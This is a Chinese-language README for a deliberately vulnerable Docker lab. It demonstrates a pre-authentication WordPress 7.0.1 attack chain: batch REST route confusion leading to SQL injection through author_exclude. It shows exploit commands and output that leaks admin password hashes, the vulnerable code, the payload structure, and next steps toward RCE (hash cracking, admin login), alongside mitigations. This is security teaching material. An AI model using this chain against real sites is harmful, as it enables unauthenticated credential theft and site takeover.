Docker 环境故意存在漏洞,使用 WordPress Core 7.0.1 和一个 Python exploit 来演示 预认证 wp2shell 攻击链:
| CVE | 组件 | 说明 |
|---|---|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | 路由混淆:子请求验证与分发之间的不同步 |
| CVE-2026-60137 | WP_Query (author__not_in) | 当值为字符串而非数组时的 SQL 注入 |
连接在一起,允许攻击者无需任何凭证执行任意 SQL(并在完整链中实现 RCE)。已在 WordPress 6.9.5 和 7.0.2 中修复。受 RCE 链影响的版本:6.9.0–6.9.4 和 7.0.0–7.0.1。
⚠️ 警告:环境故意不安全。请仅在本地隔离使用。切勿暴露于互联网。Exploit 仅可针对此实验(或您获得明确授权的系统)使用。
docker compose up -d db wordpress # 启动 MySQL + WordPress 7.0.1
docker compose run --rm wpcli # 安装 WP 并创建内容/用户
这将创建:
admin / SuperSecret123!victim / Victim_P@ss_2026(第二个管理员,用于提取哈希的目标)get_items() 返回行所需)确认漏洞版本:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... 或者:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
输出(摘要):
[+] Route confusion OK: GET /wp/v2/users 在 posts get_items() 下执行
[+] 盲 SQL 注入已确认(布尔型 oracle 1=1 vs 1=2)
[*] 数据库指纹:
MySQL 版本 = 8.0.46
当前用户 = wordpress@%
数据库 = wordpress
[+] 提取的凭据(预认证,无需登录):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
其他选项:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # 任意 SQL
python3 exploit.py --url http://localhost:8080 --mode time # 基于时间的盲注
python3 exploit.py --url http://localhost:8080 -v # 显示每个查询
Exploit 仅使用 Python 3 标准库(无依赖项)。
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
哈希值应与 exploit 提取的哈希值完全相同(exploit 从未访问数据库)。
serve_batch_request_v1)在 wp-includes/rest-api/class-wp-rest-server.php 中,批处理处理程序使用两个并行数组:$matches(匹配的路由/处理程序)和 $validation(验证结果):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // 例如:路径 "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- 仅进入 $validation
continue; // <-- $matches 未收到条目 => 不同步!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
在分发时,处理程序通过索引 $matches[$i] 读取,而 $single_request 和 $validation[$i] 跟随 $requests 的完整索引。一个解析失败的引导请求("///")会将 $matches 中的所有内容推后一个位置——因此一个子请求会在另一个处理程序下执行。
批处理模式仅接受 POST/PUT/PATCH/DELETE 方法(GET 被 rest_not_in_enum 拒绝)。Exploit 通过批次内嵌批次绕过:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
create_item(通过:allow_batch=true,无必需参数)。由于未作为批次验证,其 body 逃脱了方法枚举的验证。/batch/v1 处理程序下分发(从第 3 个子请求窃取)→ serve_batch_request_v1 处理原始 body,包含 GET 子请求。BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users 未定义 author_exclude => 原始值
GET /wp/v2/posts ]
新的内部不同步 → GET /wp/v2/users 请求(携带未清理的 author_exclude)在 posts get_items() 下执行。在那里:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // 映射
而在 WP_Query (class-wp-query.php) 中,易受攻击的代码:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- 字符串跳过清理
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- 注入
}
使用的布尔型 payload:0) AND (<条件>)-- -,将 WHERE 转换为 oracle(包含文章的列表 = 真;空列表 = 假)。通过二分查找逐字符提取。
注意:当没有持久化对象缓存(实验的默认设置)时,该路径可达,如咨询所述。
本实验验证了预认证部分(路由混淆 → SQLi → 哈希泄露),这是攻击链的核心。公告的完整序列继续:
$wp$2y$... (bcrypt) 哈希 — hashcat -m 3200。/wp-admin。author__not_in 为字符串也强制转换为整数(wp_parse_id_list);/wp-json/batch/v1,禁用未认证的 REST API,监控包含 SQL 的 author_exclude 请求。docker compose down -v # 移除容器 + 卷(数据)